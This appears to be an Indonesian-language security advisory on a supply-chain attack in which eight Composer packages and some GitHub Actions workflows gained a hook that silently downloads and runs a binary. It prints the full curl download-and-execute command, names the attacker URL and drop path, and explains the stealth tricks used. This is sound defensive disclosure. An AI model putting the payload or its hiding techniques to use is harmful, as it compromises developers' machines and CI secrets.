Telah ditemukan delapan package Composer mengandung postinstall hook berbahaya yang mengunduh dan mengeksekusi binary Linux tanpa verifikasi apapun selama proses instalasi. Payload identik di semua package, dikirim dari akun GitHub yang sama, dan ditulis bukan ke composer.json melainkan ke package.json yang membuat oayload bisa lolos dari mayoritas audit dependency berbasis Composer.
Ini terdeteksi oleh scanner Socket, yang kemudian menemukan jejak yang lebih luas: ratusan referensi di GitHub terhubung ke infrastruktur attacker yang sama, termasuk file GitHub Actions workflow di beberapa repository fork yang menjadikan CI/CD pipeline sebagai target eksekusi sekunder.
Payload
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/ \ releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null \ && chmod +x /tmp/.sshd && /tmp/.sshd &
Flag -k menonaktifkan verifikasi sertifikat TLS artinya binary diterima tanpa validasi chain of trust apapun. Flag -s dan 2>/dev/null bersama-sama menekan semua output, sehingga tidak ada error yang terlihat oleh pengguna selama npm install berlangsung. Setelah binary ditulis ke /tmp/.sshd, dibuat executable dan langsung dijalankan di background via & yang memungkinkan proses installer selesai normal tanpa menunggu.
.sshd merupakan nama yang dibuat dengan dot yang bertujuan untuk menyembunyikan file dari printah ls pada Linux yang bisa digunakan untuk melihat isi dari sebuah direktori. sementara nama sshd menyerupai SSH daemon yang legitimate. Engineer yang melihat proses ini di ps aux perlu melakukan double-check sebelum menganggapnya anomali. Nama binary yang diunduh, gvfsd-network, mengikuti pola yang sama gvfsd adalah nama daemon GNOME Virtual File System yang umum muncul di sistem Linux desktop.
Tidak ada hash check, tidak ada signature verification. Binary apapun yang disajikan dari URL tersebut akan dieksekusi. Karena payload sudah tidak tersedia saat peneliti Socket mencoba mengambilnya, tujuan akhir binary ini tidak bisa dikonfirmasi apakah RAT, miner, credential harvester, atau stage pertama dari multi-stage payload. Namun konteks eksekusinya sudah cukup mengindikasikan scope akses yang didapat: proses berjalan dengan privilege user yang menjalankan npm install, yang di mesin developer biasanya berarti akses ke SSH keys, cloud credentials, API tokens di environment variables, dan .npmrc yang menyimpan registry tokens.
Cross-Ecosystem Blind Spot: Mengapa package.json
Kedelapan package yang teridentifikasi adalah Composer packages dependency manager utamanya adalah composer.json. Tapi payload tidak disisipkan di sana. Attacker menempatkannya di package.json, sebuah keputusan yang memperlihatkan pemahaman terhadap cara kerja audit dependency di project PHP modern. PHP project kontemporer hampir selalu ship bersama JavaScript build tooling Vite, Laravel Mix, kompilasi Tailwind, atau Alpine.js bundling. package.json ada di repository yang sama, tapi secara konseptual diperlakukan sebagai "bagian lain" dari project. Ketika security review atau automated scanner berjalan dalam konteks Packagist, yang diperiksa adalah composer.json dan lockfile-nya. package.json ada di repository, tapi berada di luar scope audit Composer.
hal ini merupakan eksploitasi terhadap batas coverage tool. Dependency scanner yang tidak memahami repository lintas-ekosistem akan melewatkan ini secara sistematis.
Execution path bergantung pada posisi package di dalam project. Untuk starter kit seperti devdojo/wave dan devdojo/genesis, ketika developer men-clone repository, package.json langsung berada di root project. Setiap kali npm install dijalankan yang hampir pasti terjadi karena frontend tooling postinstall hook langsung aktif. Ini adalah execution path paling pendek dan paling reliabel dalam attack chain ini. Untuk enam package lainnya yang berfungsi sebagai library, situasinya berbeda: package masuk ke vendor/, dan npm tidak menjalankan lifecycle scripts dari nested dependencies di luar root project. Hook hanya aktif jika developer secara eksplisit masuk ke direktori package dan menjalankan npm install secara terpisah.
Mekanisme Distribusi: Upstream GitHub ke Packagist
Packagist tidak meng-host source code secara langsung tapi meng-track upstream GitHub repositories dan merefleksikan branch state mereka sebagai package versions. Versi dev-main, dev-master, dan 3.x-dev adalah branch-tracking bukan snapshot immutable, melainkan pointer ke HEAD dari branch yang bersangkutan. Ini adalah detail yang kritis untuk memahami bagaimana attack chain ini bekerja. Attacker melakukan commit langsung ke upstream GitHub repository (metode akses belum terkonfirmasi bisa credential stuffing, akun maintainer yang terkompromi, atau push langsung ke branch yang tidak dilindungi). Setelah commit masuk, Packagist pada saat sync berikutnya merefleksikan state tersebut sebagai versi terbaru. Developer yang menggunakan dev-master akan menerima artifact yang sudah terinfeksi tanpa ada peringatan apapun.
Ini berbeda dari typosquatting, di mana attacker mempublikasikan package baru dengan nama yang menyerupai package legitimate. Di sini, package yang sudah dipercaya dimodifikasi langsung. Developer yang pernah menggunakan package ini sebelumnya tidak memiliki sinyal bahwa ada yang berubah kecuali developer membandingkan commit history untuk melihat perbedaan atau perubahan yang tidak normal. Saat beberapa maintainer melakukan revert, Packagist juga merefleksikan perubahan itu. Namun karena sifat branch-tracking, versi dev-main setelah revert tetap mutable jika upstream repository kembali terkompromi, Packagist akan kembali merefleksikan state berbahaya pada sync berikutnya.
| Package | Versi | Status Cleanup |
|---|---|---|
| moritz-sauer-13/silverstripe-cms-theme | dev-master | Belum direvert |
| crosiersource/crosierlib-base | dev-master | Belum direvert |
| devdojo/wave | dev-main | Direvert (5afe6da) |
| devdojo/genesis | dev-main | Direvert (3be1f20) |
| katanaui/katana | dev-main | Direvert (f679252) |
| elitedevsquad/sidecar-laravel | 3.x-dev | Direvert (b1f5c53) |
| r2luna/brain | dev-main | Direvert (421a1d5) |
| baskarcm/tzi-chat-ui | dev-main | Belum direvert |
GitHub Actions sebagai Jalur Eksekusi Sekunder
Di beberapa repository publik termasuk fork 448776129/UA2F dan 448776129/blog-1 payload yang sama tidak disisipkan ke package.json melainkan ke file GitHub Actions workflow. Dalam ci.yml, payload ditambahkan sebagai step bernama Dependency Cache Sync.Jika hook dieksekusi di mesin developer saat npm install, payload di GitHub Actions dieksekusi di CI runner environment yang kemungkinan memiliki akses ke secrets, deployment tokens, GITHUB_TOKEN, atau dapat membuat artifacts yang didistribusikan ke downstream. Kedua jalur eksekusi menggunakan URL payload, drop path, dan background execution pattern yang identik, mengindikasikan infrastruktur yang sama.
Indicators of Compromise
| Indikator | Nilai |
|---|---|
| GitHub Account | parikhpreyash4 |
| Repository | parikhpreyash4/systemd-network-helper-aa5c751f |
| Payload URL | github.com/.../releases/latest/download/gvfsd-network |
| Drop Path | /tmp/.sshd |
| Command Fragments | curl -skL · chmod +x /tmp/.sshd · /tmp/.sshd & |
Baca Juga Tentang: Undercover-NPM Git-Push Github-Abuse Composer
Benediktus Sava – Security Researcher
Sumber: Github Socket-Dev
.png)

.png)

.png)